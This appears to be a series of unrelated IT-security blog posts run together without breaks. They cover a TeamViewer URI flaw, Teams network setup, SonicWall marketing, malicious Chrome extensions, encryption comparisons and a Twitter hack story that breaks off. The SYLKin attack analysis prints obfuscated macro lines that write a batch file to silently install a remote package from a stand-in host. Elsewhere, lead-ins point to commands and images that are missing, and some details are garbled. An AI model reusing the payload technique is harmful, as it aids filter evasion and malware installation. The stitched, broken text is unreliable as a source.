If you are using TeamViewer, then beware and make sure you’re running the latest version of the popular remote desktop connection software for Windows.
TeamViewer team recently released a new version of its software that includes a patch for a severe vulnerability (CVE 2020-13699), which, if exploited, could let remote attackers steal your system password and eventually compromise it.
What’s more worrisome is that the attack can be executed almost automatically without requiring much interaction of the victims and just by convincing them to visit a malicious web page once.
For those unaware, TeamViewer is a popular remote-support software that allows users to securely share their desktop or take full control of other’s PC over the Internet from anywhere in the world.
The remote access software is available for desktop and mobile operating systems, including Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT Windows Phone 8, and BlackBerry.
Discovered by Jeffrey Hofmann of Praetorian, the newly reported high-risk vulnerability resides in the way TeamViewer quotes its custom URI handlers, which could allow an attacker to force the software to relay an NTLM authentication request to the attacker’s system.
In simple terms, an attacker can leverage TeamViewer’s URI scheme from a web-page to trick the application installed on the victim’s system into initiating a connection to the attacker-owned remote SMB share.
This, in turn, triggers the SMB authentication attack, leaks the system’s username, and NTLMv2 hashed version of the password to the attackers, allowing them to use stolen credentials to authenticate the victims’ computer or network resources.
To successfully exploit the vulnerability, an attacker needs to embed a malicious iframe on a website and then trick victims into visiting that maliciously crafted URL. Once clicked by the victim, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share.
Now, the victim’s Windows OS will “perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”
This vulnerability, categorized as ‘Unquoted URI handler,’ affects “URI handlers teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, and tvvpn1,” Hofmann said.
The TeamViewer project has patched the vulnerability by quoting the parameters passed by the affected URI handlers e.g., URL:teamviewer10 Protocol “C:\Program Files (x86)\TeamViewer\TeamViewer.exe” “%1”
Though the vulnerability is not being exploited in the wild as of now, considering the popularity of the software among millions of users, TeamViewer has always been a target of interest for attackers.
So, users are highly recommended to upgrade their software to the 15.8.3, as it’s hardly a matter of time before hackers started exploiting the flaw to hack into users’ Windows PCs.
If you’ve already optimized your network for Microsoft 365 or Office 365, you’re probably ready for Microsoft Teams. In any case – and especially if you’re rolling out Teams quickly as your first Microsoft 365 or Office 365 workload to support remote workers – check the following before you begin your Teams rollout:
Do all your locations have internet access (so they can connect to Microsoft 365 or Office 365)? At a minimum, in addition to normal web traffic, make sure you’ve opened the following, for all locations, for media in Teams:TABLE 1PortsUDP ports 3478 through 3481IP addresses13.107.64.0/18, 52.112.0.0/14, and 52.120.0.0/14
Important
If you need to federate with Skype for Business, either on-premises or online, you will need to configure some additional DNS records.
CNAME Records / Host name
TTL
Points to address or value
sip
3600
sipdir.online.lync.com
lyncdiscover
3600
webdir.online.lync.com
Do you have a verified domain for Microsoft 365 or Office 365 (for example, contoso.com)?
If your organization hasn’t rolled out Microsoft 365 or Office 365, see Get started.
If your organization hasn’t added or configured a verified domain for Microsoft 365 or Office 365, see the Domains FAQ.
Has your organization deployed Exchange Online and SharePoint Online?
Once you’ve verified that you meet these network requirements, you may be ready to Roll out Teams. If you’re a large multinational enterprise, or if you know you’ve got some network limitations, read on to learn how to assess and optimize your network for Teams.
Important
For educational institutions: If your organization is an educational institution and you use a Student Information System (SIS), deploy School Data Sync before you roll out Teams.
Running on-premises Skype for Business Server: If your organization is running on-premises Skype for Business Server (or Lync Server), you must configure Azure AD Connect to synchronize your on-premises directory with Microsoft 365 or Office 365.
Best practice: Monitor your network using CQD and call analytics
Use the Call Quality Dashboard (CQD) to gain insight into the quality of calls and meetings in Teams. CQD can help you optimize your network by keeping a close eye on quality, reliability, and the user experience. CQD looks at aggregate telemetry for an entire organization where overall patterns can become apparent, which lets you identify problems and plan remediation. Additionally, CQD provides rich metrics reports that provide insight into overall quality, reliability, and user experience.
You’ll use call analytics to investigate call and meeting problems for an individual user.
Network optimization
The following tasks are optional and aren’t required for rolling out Teams, especially if you’re a small business and you’ve already rolled out Microsoft 365 or Office 365. Use this guidance to optimize your network and Teams performance or if you know you’ve got some network limitations.
You might want to do additional network optimization if:
Teams runs slowly (maybe you have insufficient bandwidth)
Calls keep dropping (might be due to firewall or proxy blockers)
Calls have static and cut out, or voices sound like robots (could be jitter or packet loss)
For help assessing your network, including bandwidth calculations and network requirements across your org’s physical locations, check out the Network Planner tool, in the Teams admin center. When you provide your network details and Teams usage, the Network Planner calculates your network requirements for deploying Teams and cloud voice across your organization’s physical locations.For an example scenario, see Using Network Planner – example scenario.
Advisor for Teams
Advisor for Teams is part of the Teams admin center. It assesses your Microsoft 365 or Office 365 environment and identifies the most common configurations that you may need to update or modify before you can successfully roll out Teams.
External Name Resolution
Be sure that all computers running the Teams client can resolve external DNS queries to discover the services provided by Microsoft 365 or Office 365 and that your firewalls are not preventing access. For information about configuring firewall ports, go to Microsoft 365 and Office 365 URLs and IP ranges.
Maintain session persistence
Make sure your firewall doesn’t change the mapped Network Address Translation (NAT) addresses or ports for UDP.
Validate NAT pool size
Validate the network address translation (NAT) pool size required for user connectivity. When multiple users and devices access Microsoft 365 or Office 365 using Network Address Translation (NAT) or Port Address Translation (PAT), you need to ensure that the devices hidden behind each publicly routable IP address do not exceed the supported number. Ensure that adequate public IP addresses are assigned to the NAT pools to prevent port exhaustion. Port exhaustion will contribute to internal users and devices being unable to connect to the Microsoft 365 or Office 365 service.
If your environment has an Intrusion Detection or Prevention System (IDS/IPS) deployed for an extra layer of security for outbound connections, be sure to allow all Microsoft 365 or Office 365 URLs.
Configure split-tunnel VPN
We recommend that you provide an alternate path for Teams traffic that bypasses the virtual private network (VPN), commonly known as [split-tunnel VPN](https://docs.microsoft.com/windows/security/identity-protection/vpn/vpn-routing). Split tunneling means that traffic for Microsoft 365 or Office 365 doesn’t go through the VPN but instead goes directly to Microsoft 365 or Office 365. Bypassing your VPN will have a positive impact on Teams quality, and it reduces load from the VPN devices and the organization’s network. To implement a split-tunnel VPN, work with your VPN vendor.Other reasons why we recommend bypassing the VPN:VPNs are typically not designed or configured to support real-time media.Some VPNs might also not support UDP (which is required for Teams).VPNs also introduce an extra layer of encryption on top of media traffic that’s already encrypted.Connectivity to Teams might not be efficient due to hair-pinning traffic through a VPN device.
Implement QoS
Use Quality of Service (QoS) to configure packet prioritization. This will improve call quality in Teams and help you monitor and troubleshoot call quality. QoS should be implemented on all segments of a managed network. Even when a network has been adequately provisioned for bandwidth, QoS provides risk mitigation in the event of unanticipated network events. With QoS, voice traffic is prioritized so that these unanticipated events don’t negatively affect quality.
Optimize WiFi
Similar to VPN, WiFi networks aren’t necessarily designed or configured to support real-time media. Planning for, or optimizing, a WiFi network to support Teams is an important consideration for a high-quality deployment. Consider these factors:Implement QoS or WiFi Multimedia (WMM) to ensure that media traffic is getting prioritized appropriately over your WiFi networks.Plan and optimize the WiFi bands and access point placement. The 2.4 GHz range might provide an adequate experience depending on access point placement, but access points are often affected by other consumer devices that operate in that range. The 5 GHz range is better suited to real-time media due to its dense range, but it requires more access points to get sufficient coverage. Endpoints also need to support that range and be configured to leverage those bands accordingly.If you’re using dual-band WiFi networks, consider implementing band steering. Band steering is a technique implemented by WiFi vendors to influence dual-band clients to use the 5 GHz range.When access points of the same channel are too close together, they can cause signal overlap and unintentionally compete, resulting in a bad experience for the user. Ensure that access points that are next to each other are on channels that don’t overlap.Each wireless vendor has its own recommendations for deploying its wireless solution. Consult your WiFi vendor for specific guidance.
Bandwidth requirements
Teams is designed to give the best audio, video, and content sharing experience regardless of your network conditions. That said, when bandwidth is insufficient, Teams prioritizes audio quality over video quality.
Where bandwidth isn’t limited, Teams optimizes media quality, including up to 1080p video resolution, up to 30fps for video and 15fps for content, and high-fidelity audio.
This table describes how Teams uses bandwidth. Teams is always conservative on bandwidth utilization and can deliver HD video quality in under 1.2Mbps. The actual bandwidth consumption in each audio/video call or meeting will vary based on several factors, such as video layout, video resolution, and video frames per second. When more bandwidth is available, quality and usage will increase to deliver the best experience.
Bandwidth(up/down)
Scenarios
30 kbps
Peer-to-peer audio calling
130 kbps
Peer-to-peer audio calling and screen sharing
500 kbps
Peer-to-peer quality video calling 360p at 30fps
1.2 Mbps
Peer-to-peer HD quality video calling with resolution of HD 720p at 30fps
1.5 Mbps
Peer-to-peer HD quality video calling with resolution of HD 1080p at 30fps
500kbps/1Mbps
Group Video calling
1Mbps/2Mbps
HD Group video calling (540p videos on 1080p screen)
With the definition of normal changing with each passing day, the ongoing pandemic has forced security professionals to re-evaluate new working models and how they can prevent attackers from targeting end users. Albert Einstein once said, “In the midst of every crisis lies great opportunity,” and this idea has formed the basis for how cybercriminals operate in the era of COVID-19.
Never ones to let an opportunity go to waste, cybercriminals are deploying new attacks each day. Microsoft was recently affected by a new SYLKIN Attack that bypasses both Microsoft 365 default security (EOP) and Microsoft advanced security (ATP). At the time of writing, Microsoft 365 is still vulnerable, and the attack is still being used extensively against Microsoft 365 customers.
Lately Avanan’s security analysts have detected a significant increase in the usage of SLK files in attacks against Microsoft 365 customers. In these attacks, hackers send an email with a .slk attachment that contains a malicious macro (msiexec script) to download and install a remote access trojan.
It is a very sophisticated attack with several obfuscation methods specifically designed to bypass Microsoft 365. Gmail customers, on other hand, are safe from this attack — Google already blocks it on incoming email and has made it impossible to send these SLK files as an attachment from a Gmail account.
What is SYLKin attack?
Again, SLK files are rare, so if you have received one in your inbox, chances are you are being targeted by the most recent Remote Access Trojan malware that has been ‘upgraded’ to bypass Microsoft ATP. The attack method itself has been extensivelydocumented, so I’ll only explain it briefly. The focus will be on how such a well-understood attack bypassed Office 365 filters, including Microsoft ATP.
The attack specifically targets Microsoft 365 accounts and until recently, was isolated to a small number of organizations.
Emails are targeted and manually created
The attack emails are highly customized, using information and language that could only have been found and written manually. The messages seem to come from a partner or customer using a topic that is highly specific to the organization and the individual. For example, an email to a manufacturer will discuss parts specifications, an email to a tech firm will ask for changes to a large electronics order, or an email to a government department will discuss legal concerns. The subjects, contents and even the attached files are customized with the target’s name and organization. No two are alike. What they have in common is that the messages are realistic and compelling enough to convince a user to click on the attached SLK file.
What is a SLK file?
A so-called “Symbolic Link” (SLK) file is Microsoft’s human-readable, text-based spreadsheet format that saw its last update around the time that “Dallas” went off the air in 1986. At a time when XLS files were proprietary, SLK was an open-format alternative before XLSX was introduced in 2007. To the end user, a SLK file looks like an Excel document — but for an attacker, it’s an easy way to bypass Microsoft 365 security, even for accounts protected with Microsoft ATP.
What does this attack do?
A recent version of the SYLK attack includes an SLK file with an obfuscated macro designed to run a command on a Windows machine:
This runs Windows Installer (msiexec) in quiet mode to install whatever MSI package they decide to host on their site. In this campaign, it’s a hacked version of the off-the-shelf NetSupport remote control application, granting the attacker full control over the desktop.
Windows grants more trust to SLK files than XLSX files
Because Windows “Protected View” does not apply to SLK files downloaded from the Internet or from email, Excel does not open them in read-only mode.
When opening an SLK file, the end user does not see this message:
Targeted methodology to bypass Microsoft Advanced Threat Protection
The first versions of the SLK attack method were seen in 2018 and were eventually blocked by Microsoft ATP. This new campaign, however, includes a number of obfuscation techniques specifically designed to bypass Microsoft ATP.
The attack was sent from hundreds of free hotmail accounts
The macro script includes ‘^’ characters to confuse ATP filters.
The URL was split in two so that ATP would not read it as a web link,
The hosting server became active after the email was sent so it seemed benign if sandboxed by ATP,
The hosting server only responded to “Windows Installer” user agents, ignoring other queries.
These methods are ATP-specific. Again, Gmail blocks these files and, in fact, makes it impossible to send from a Gmail account.
The attackers took advantage of a series of blind spots in the Microsoft email infrastructure to send this attack from thousands of disposable Hotmail accounts, with email addresses in the format “randomwords1982@hotmail.com,” each sending just a handful or messages at a time.
An important benefit of Hotmail to many attackers is that the same security filters are being used end to end. If the attacker is able to attach and send a file, it is likely that it will make it through the entire Microsoft security infrastructure. Should one of the accounts get flagged, Microsoft will disable it, informing the attacker that his messages are getting caught downstream.
While most of the well-known anonymous email-sending engines deserve their poor spam and phishing reputations, Hotmail users benefit from Microsoft’s own reputation. Since the service was merged with its own Outlook application, Microsoft seems to grant them a higher level of trust than external senders.
The macro script includes escape characters to confuse ATP filters
The attackers take advantage of the fact that ATP filters do not interpret text in the same way as the Windows command line. ATP would normally be able to identify the powerful and potentially malicious msiexec command, but the attackers inserted command-line escape characters ‘^’ to obfuscate the script.
When read by Advanced Threat Protection filters, the msiexec command becomes unreadable and the telltale ‘http://’ is obscured.
When read by the desktop command line, the escape characters ‘disappear,’ running as if they were never there. This is just a command-line version of the Zero-Font methodologies that have plagued ATP for years.
The URL was split into two macros so that ATP would not read it as a link
ATP does not need to see the ‘http://’ to recognize a web link and would normally catch any text of the format ‘malicious-site.com.’ In order to hide the link, the attackers split it into two separate commands.
The first macro command creates a batch file with the first half of the URL.
Set /p=””M^s^ie^xec /ih^tt^p^:^/^/malicious-sit”” > JbfoT.bat
The second macro command adds the remainder of the URL and then runs the batch file.
Set /p=””e.com/install.php ^/q”” >> JbfoT.bat & JbfoT.bat
Within seconds, the malicious SLK file has run two simple commands to create a malicious install script and begin installing whatever software the attackers decide to host.
The hosting server was armed after the message was sent
We don’t believe Microsoft ATP is testing these files within their sandbox environment, relying instead on static filters. But we have found that other vendors have also failed to catch this attack, even when the code is executed in a virtual environment.
There is no special code or intelligence within the script to detect if it is running within emulation. Instead, the attackers do not enable the malicious web server until shortly after the email is sent. Because it cannot reach the server, the script fails, installing nothing.
In addition to enabling the URL only after delivery, the server would become inactive a few hours later, rejecting further queries. This seems to be a way to avoid action from their provider, as the reported content is no longer available at the links associated with the attack by the time a manual take-down notice is requested.
The coordinated timing of the hosting servers with the sending of the emails is characteristic of a more sophisticated campaign. When combined with the high-profile nature of the targeted organizations, it suggests an APT group or state actor.
The hosting server only responded to requests from “Windows Installer” agents
In addition to their on-and-off timing, the hosting servers utilized another common technique to avoid analysis, rejecting all queries except for those with User Agent: Windows Installer. This ensured that it only responded to the malicious script and would avoid detection by URL analysis tools.
How did it evade Microsoft protection?
Each of the obfuscation methodologies were designed to bypass a specific layer of the Microsoft 365 security infrastructure. While we understand how each was used in turn, we are still confused as to how ATP fails to detect this technique in emulation. Creating a batch file and calling the msiexec application is considered malicious, even if it fails to run. We must assume, then, that none of these files are being tested by the sandbox layer. Unfortunately, because each file is unique, no two attachments have the same MD5 hash, which requires each file to be given additional scrutiny.
Got SonicWall CAS protecting your inbox? Don’t worry, we have you protected.
If you have SonicWall Cloud App Security protecting your organization’s inbox and you are running in Protect (Inline) mode, this attack is blocked, and users will not see these attacks in their inbox. (If you are in Monitor Mode, we recommend that you move to Protect (Inline) mode.)
Alternatively, we recommend you configure your Office 365 account to reject files of this type. SLK files are relatively rare, so unless you have a legacy reason to allow them, we recommend excluding the SLK extension as a static mail-flow rule, at least until Microsoft fixes this gap.
Businesses are embracing digital transformation, bringing about a new era of the anytime, anywhere business. Staffed by flexible employees and built on the principle of a distributed enterprise, the resulting proliferation of applications and data presents organizations with a major security challenge.
As enterprises grow, they must proactively manage security across several different locations: at headquarters, at software-defined branches (SD-Branches), at co-located data centers or in a variety of cloud locations. These locations are not siloed — applications and data move dynamically between them, forcing security to follow.
SonicWall physical and virtual firewalls provide high-performance security across a wide range of enterprises, but protecting all these security vectors requires the ability to consistently apply the right security policy to the right network control point — while keeping in mind that some security failures can be attributed to ineffective policies or misconfigurations.
To ensure effective policy provisioning, enterprises need dynamic visibility across the network. They need a boundless approach to network security policy management.
The SonicOS or SonicOSX architecture is at the core of every SonicWall physical and virtual firewall, including the TZ, NSa, NSv and NSsp Series. Our operating systems leverage our patented, single-pass, low-latency, Reassembly-Free Deep Packet Inspection® (RFDPI) and patent-pending Real-Time Deep Memory Inspection™ (RTDMI) technologies to deliver industry-validated high security effectiveness, Secure SD-WAN, real-time visualization, high-speed virtual private networking (VPN) and other robust security features.
The latest TZ570/670 Series firewalls run on the brand-new SonicOS 7.0, which features advanced security, simplified policy management, and critical networking and management capabilities — all designed to meet the needs of distributed enterprises with next-gen SD-Branches and small- to medium-sized businesses.
With the introduction of the brand-new SonicOSX 7.0 and SonicOS 7.0, the SonicOS operating system is setting a new standard for usability. Built from the ground up, SonicOSX 7.0 architecture features Unified Policy management, which offers integrated management of various security policies for enterprise-grade firewalls such as SonicWall NSsp and NSv firewall series.
This OS upgrade brings about multi-instance support on NSsp series firewalls. Multi-instance is the next generation of multi-tenancy, where each tenant is isolated with dedicated compute resources to avoid resource starvation.
SonicOSX 7 also provides unified policy to provision L3 to L7 controls in a single rule base on every firewall, providing admins a centralized location for configuring policies. It comes with a new web interface born from a radically different approach: a user-first design emphasis. SonicOSX’s web-based interface presents meaningful visualizations of threat information, and displays actionable alerts prompting you to configure contextual security policies with point-and-click simplicity.
In addition to being more user friendly, the new interface is also more attractive than the classic version. In a single-pane view of a firewall, the interface presents the user with information on the effectiveness of various security rules. The user is then able to modify the predefined rules for gateway antivirus, antispyware, content filtering, intrusion prevention, geo-IP filtering, and deep-packet inspection of encrypted traffic in a seamless fashion. With Unified Policy, SonicWall delivers a more streamlined experience that reduces configuration errors and deployment time for a better overall security posture.
The Unified Policy gives your organization the ability to control dynamic traffic passing through a firewall and provides visibility and insight into the disparate policies that affect gateway antivirus, antispyware, content filtering, intrusion prevention, geo-IP filtering, deep-packet inspection of encrypted traffic and more. It helps simplify management tasks, reduce configuration errors and speed up deployment time, which all contribute to a better overall security posture.
More than 80 million Chrome users have installed one of 295 Chrome extensions that hijack and insert ads inside Google and Bing search results.
The malicious extensions were discovered by AdGuard, a company that provides ad-blocking solutions, while the company’s staff was looking into a series of fake ad-blocking extensions that were available on the official Chrome Web Store.
A subsequent investigation into the fake ad blockers unearthed a larger group of malicious activity spreading across 295 extensions.
Besides fake ad blockers, AdGuard said it also found extensions posing as weather forecast widgets and screenshot capture utilities.
However, the vast majority of the malicious extensions (245 out of the 295 extensions) were simplistic utilities that had no other function than to apply a custom background for Chrome’s “new tab” page.
In a technical analysis shared with ZDNet, AdGuard said all extensions loaded malicious code from the fly-analytics.com domain, and then proceeded to quietly inject ads inside Google and Bing search results.
Almost all the 295 extensions were still available on the official Chrome Web Store earlier today, when we received the list from AdGuard.https://platform.twitter.com/embed/index.html?creatorScreenName=ZDNet&dnt=false&embedId=twitter-widget-0&frame=false&hideCard=false&hideThread=false&id=1290674805365264386&lang=en&origin=https%3A%2F%2Fwww.zdnet.com%2Farticle%2Fcluster-of-295-chrome-extensions-caught-hijacking-google-and-bing-search-results%2F&siteScreenName=ZDNet&theme=light&widgetsVersion=223fc1c4%3A1596143124634&width=550px
Extensions started being pulled down from the store after we reached out to Google’s Web Store team and after AdGuard published a blog post detailing their findings.
The same blog post also details additional bad practices on the Chrome Web Store, such as store moderators allowing a large number of copycat extensions to clone popular add-ons, capitalize on their brands, reach millions of users, while also containing malicious code that performs ad fraud or cookie stuffing.
The full list of 295 ad-injecting extensions is available below, at the end of this article.
When Google removes an extension from the Chrome Web Store for malicious activity, the extension is also disabled in users’ browsers and marked as “malware” in Chrome’s Extension section.
Users still have to manually uninstall it from their browsers.
The following error occurred attempting to join the domain {domain-name}
You computer could not be joined to the domain, You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system| administrator to have this limit reset or increased.
To be honest there’s no way I can think of to reset that limit, (short of deleting and recreating your domain user account!) So what’s going on? Well every authenticated domain user has the RIGHT to join a computer to the domain, and the amount of computers they can join is limited to 10 (ten).
Exceptions / Users Not Affected
Members of the domain admins group, and users that have been delegated the rightto create a computer object are exempt this limit.
Solution Option 1 – Use an Administrative Account
Pretty straight forward, the easiest way to avoid this is to add computers to the domain using an account that’s a member off the Domain Admins Group.
Solution Option 2 – Raise The Limit From 10
This limit is set at a Domain level, i.e. it’s not set on a particular user, so you have to raise the limit for ALL Users. To do this log onto a domain controller and launch Adsiedit.msc > Connect To > Default Naming Context > OK.
Select CN={Your Domain} > Properties > Locate ms-DS-MachineAccountQuota > Edit > Change the value from 10 to something greater.
Solution Option 3 – Delegate Create Computer Object Right
Locate the OU (or container) that your new computer objects get added to, (I say container because ‘Computers’ is NOT an OU) > Right Click > Delegate Control > Next > Add your domain user > Next > Create a custom task > Next.
Only the following object in the folder > Tick: Computer Objects > Tick: Create selected object in this folder > Next > Tick: Property specific > Tick: Read All Properties > Next > Finish
Solution Option 4 – Pre-Stage Computer Objects in Active Directory
Not very scalable, but you can pre-create the computer object before the computer is joined to the Domain, (providing you know its computer-name / host-name). This can be done in Active directory Users and Computers.
Then you can simply join the computer to the domain.
How Does This Work
When a computer is joined to a domain a few things happen, the account you are using is checked, if it’s a normal, (not delegated or non domain admin) user, then the SID (Security Identifier) of that user is stamped on the COMPUTER object in a value called ms-DS-CreatorSID
What does NOT happen: There is NOT value on the USER object that increments by one for each machine joined to the domain, the ONLY reference is on the COMPUTER object. Yes this seems inefficient, but there we go that’s how it works.
If the user has delegated rights to create computer objects, or is a member of domain admins then, ms-DS-CreatorSID is left empty, (if you query it using PowerShell or programatically it will return ‘null’).
Finding Out Who Joined a Computer to The Domain
Because of the way this is stamped on the computer, and not the user, then if you want to find out how many computers a particular user, or users, have added it’s not straight forward! If it’s something that’s happened recently you can look on your domain controllers in the security log for Event 4741.
Or if you need to do something complicated, then scripting is your friend!
Getting a List of Computers Joined to a Domain (By User)
Use the following PowerShell, (this is one command if it gets wrapped after you copy/paste it).
In the world of data security there are many different types of encryption, but arguably the two most common are AES and PGP. With so many three-letter acronyms in the technical landscape, it’s easy to get lost in data security conversations. So let’s catch up!
First, we’ll define both AES and PGP, and then we’ll look at how they compare to each other.
AES encryption
AES stands for Advanced Encryption Standard. It is the dreamchild of two cryptographers’ proposal of a symmetric key encryption algorithm based on the Rijndael cipher. This algorithm was developed when the National Institute of Standards and Technology (NIST) sent the call out to the cryptographic community to develop a new standard. NIST spent five years evaluating 15 competing designs for the AES project. In 2001, NIST announced the cipher developed by the two Belgians, Joan Daemen and Vincent Rijmen, as the adopted standard (known as FIPS-197) for electronic data encryption.
AES is a symmetric key encryption algorithm, which essentially means that the same key is used to encrypt and decrypt the data. A computer program takes clear text and processes it through an encryption key and returns ciphertext. If the data needs to be decrypted, the program processes it again with the same key and is able to reproduce the clear text. This method required less computational resources for the program to complete its cipher process, which means lower performance impact. AES is a good method to protect sensitive data stored in large databases.
That said, AES will not always be your go-to for encrypting data.
When sharing sensitive information with trading partners or transferring information across networks, using AES would leave your data vulnerable because you would need to share your encryption key with your trading partners. This means that while they would be able to decrypt the information you sent them, they could also decrypt anything else encrypted using that same key.
And if the key itself were compromised, then anyone in its possession could decrypt your data.
PGP encryption
The answer to your above data sharing security problem is found in PGP encryption. This is because PGP uses both symmetric and asymmetric keys to encrypt data being transferred across networks.
PGP stands for Pretty Good Privacy. Which is ironic because it’s actually much better than just “pretty good.”
PGP was developed by the American computer scientist Phil Zimmerman, who made it available for non-commercial use at no charge in 1991. To encrypt data, PGP generates a symmetric key to encrypt data which is protected by the asymmetric key.
Asymmetric encryption uses two different keys for the encryption and decryption processes of sensitive information. Both keys are derived from one another and created at the same time. This key pair is divided and referred to as a public key and a private key. Data is only encrypted with a public key, and thus, can only be decrypted with its matching private key.
PGP is just as strong as that of AES, but it adds an additional layer of security to prevent anyone who only has the public key from being able to decrypt data. Another benefit of asymmetric encryption is that it allows for authentication. After you have exchanged public keys with your trading partners, the private keys can be used to digitally sign the encrypted content, allowing the decryptor to verify the authenticity of the sender.
PGP requires more computational resources, which is why it is usually not recommended for encrypting data in large databases where information needs to be accessed frequently, and each record that you access needs to be ran through a cryptographic process.
AES or PGP: Which should I use?
When you are considering which encryption to use for your sensitive information, choose whichever will suit your needs best:
AES is fast and works best in closed systems and large databases
PGP should be used when sharing information across an open network, but it can be slower and works better for individual files.
One thing that’s become abundantly clear in the internet age is that preventing unauthorized people from gaining access to the data stored in web-enabled computer systems is extremely difficult. All it takes is for a worker to click on the wrong link in an email, or respond unwarily to a seemingly legitimate request for information, and an intruder could gain complete access to all your data. In today’s regulatory and public relations environments, that kind of breach can be catastrophic.
But what if you could be assured that even if an attacker got access to your information, they couldn’t use it? That’s the role of data encryption.
How encryption works
The basic idea of encryption is to convert data into a form in which the original meaning is masked, and only those who are properly authorized can decipher it. This is done by scrambling the information using mathematical functions based on a number called a key. An inverse process, using the same or a different key, is used to unscramble (or decrypt) the information. If the same key is used for both encryption and decryption, the process is said to be symmetric. If different keys are used the process is defined as asymmetric.
Two of the most widely used encryption algorithms today are AES and RSA. Both are highly effective and secure, but they are typically used in different ways. Let’s take a look at how they compare.
AES encryption
AES (Advanced Encryption Standard) has become the encryption algorithm of choice for governments, financial institutions, and security-conscious enterprises around the world. The U.S. National Security Agency (NSC) uses it to protect the country’s “top secret” information.
The AES algorithm successively applies a series of mathematical transformations to each 128-bit block of data. Because the computational requirements of this approach are low, AES can be used with consumer computing devices such as laptops and smartphones, as well as for quickly encrypting large amounts of data. For example, the IBM z14 mainframe series uses AES to enable pervasive encryption in which all the data in the entire system, whether at rest or in transit, is encrypted.
AES is a symmetric algorithm which uses the same 128, 192, or 256 bit key for both encryption and decryption (the security of an AES system increases exponentially with key length). With even a 128-bit key, the task of cracking AES by checking each of the 2128 possible key values (a “brute force” attack) is so computationally intensive that even the fastest supercomputer would require, on average, more than 100 trillion years to do it. In fact, AES has never been cracked, and based on current technological trends, is expected to remain secure for years to come.
RSA encryption
RSA is named for the MIT scientists (Rivest, Shamir, and Adleman) who first described it in 1977. It is an asymmetric algorithm that uses a publicly known key for encryption, but requires a different key, known only to the intended recipient, for decryption. In this system, appropriately called public key cryptography (PKC), the public key is the product of multiplying two huge prime numbers together. Only that product, 1024, 2048, or 4096 bits in length, is made public. But RSA decryption requires knowledge of the two prime factors of that product. Because there is no known method of calculating the prime factors of such large numbers, only the creator of the public key can also generate the private key required for decryption.
RSA is more computationally intensive than AES, and much slower. It’s normally used to encrypt only small amounts of data.
How AES and RSA work together
A major issue with AES is that, as a symmetric algorithm, it requires that both the encryptor and the decryptor use the same key. This gives rise to a crucial key management issue – how can that all-important secret key be distributed to perhaps hundreds of recipients around the world without running a huge risk of it being carelessly or deliberately compromised somewhere along the way? The answer is to combine the strengths of AES and RSA encryption.
In many modern communication environments, including the internet, the bulk of the data exchanged is encrypted by the speedy AES algorithm. To get the secret key required to decrypt that data, authorized recipients publish a public key while retaining an associated private key that only they know. The sender then uses that public key and RSA to encrypt and transmit to each recipient their own secret AES key, which can be used to decrypt the data.
Every so often, we encounter someone still using antiquated DES for encryption. If your organization hasn’t switched to the Advanced Encryption Standard (AES), it’s time for an upgrade. To better understand why: let’s compare DES and AES encryption:
Data Encryption Standard (DES)
What is DES encryption?
DES is a symmetric block cipher (shared secret key), with a key length of 56-bits. Published as the Federal Information Processing Standards (FIPS) 46 standard in 1977, DES was officially withdrawn in 2005.
The federal government originally developed DES encryption over 35 years ago to provide cryptographic security for all government communications. The idea was to ensure government systems all used the same, secure standard to facilitate interconnectivity.
Why DES is no longer effective
To show that the DES was inadequate and should not be used in important systems anymore, a series of challenges were sponsored to see how long it would take to decrypt a message. Two organizations played key roles in breaking DES: distributed.net and the Electronic Frontier Foundation (EFF).
The DES I contest (1997) took 84 days to break the encrypted message using a brute force attack.
In 1998, there were two DES II challenges issued. The first challenge took just over a month and the decrypted text was “The unknown message is: Many hands make light work”. The second challenge took less than three days, with the plaintext message “It’s time for those 128-, 192-, and 256-bit keys”.
The final DES III challenge in early 1999 only took 22 hours and 15 minutes. Electronic Frontier Foundation’s Deep Crack computer (built for less than $250,000) and distributed.net’s computing network found the 56-bit DES key, deciphered the message, and they (EFF & distributed.net) won the contest. The decrypted message read “See you in Rome (Second AES Candidate Conference, March 22-23, 1999)”, and was found after checking about 30 percent of the key space – finally proving that DES belonged to the past.
Even Triple DES is not enough protection
Triple DES (3DES) – also known as Triple Data Encryption Algorithm (TDEA) – is a way of using DES encryption three times. But even Triple DES was proven ineffective against brute force attacks (in addition to slowing down the process substantially).
According to draft guidance published by NIST on July 19, 2018, TDEA/3DES is officially being retired. The guidelines propose that Triple DES be deprecated for all new applications and disallowed after 2023.
Advanced Encryption Standard (AES)
What is AES encryption?
Published as a FIPS 197 standard in 2001. AES data encryption is a more mathematically efficient and elegant cryptographic algorithm, but its main strength rests in the option for various key lengths. AES allows you to choose a 128-bit, 192-bit or 256-bit key, making it exponentially stronger than the 56-bit key of DES.
In terms of structure, DES uses the Feistel network which divides the block into two halves before going through the encryption steps. AES on the other hand, uses permutation-substitution, which involves a series of substitution and permutation steps to create the encrypted block. The original DES designers made a great contribution to data security, but one could say that the aggregate effort of cryptographers for the AES algorithm has been far greater.
One of the original requirements from the National Institute of Standards and Technology (NIST) for the DES replacement algorithm was that it had to be efficient both in software and hardware implementations. (DES was originally practical only in hardware implementations.) Java and C reference implementations were used to do performance analysis of the algorithms. AES was chosen through an open competition with 15 candidates from as many research teams around the world, and the total amount of resources allocated to that process was tremendous.
Finally, in October 2000, a NIST press release announced the selection of Rijndael as the proposed Advanced Encryption Standard (AES).
What are the differences between DES and AES encryption?
It started with one weird tweet. Then another. Quickly, some of the most prominent accounts on Twitter were all sending out the same message;
I am giving back to the community.
All Bitcoin sent to the address below will be sent back double! If you send $1,000, I will send back $2,000. Only doing this for 30 minutes.
[- BITCOIN WALLET ADDRESS -]
Are Apple, Elon Musk, Barrack Obama, Uber, Joe Biden, and a host of others participating in a very transparent bitcoin scheme?
No. Of course, not. The question was whether or not individual accounts were compromised or if something deeper was going on.
User Account Protection
These high profile accounts are prime targets for cybercriminals. They have a broad reach, and even a brief compromise of one of these accounts would significantly increase a hacker’s reputation in the underground.
That is why these accounts leverage the protections made available by Twitter in order to keep their accounts safe.
While it’s believed that one or two of these accounts failed to take these measures, it’s highly unlikely that dozens and dozens of them did. So what happened?
Rumours Swirl
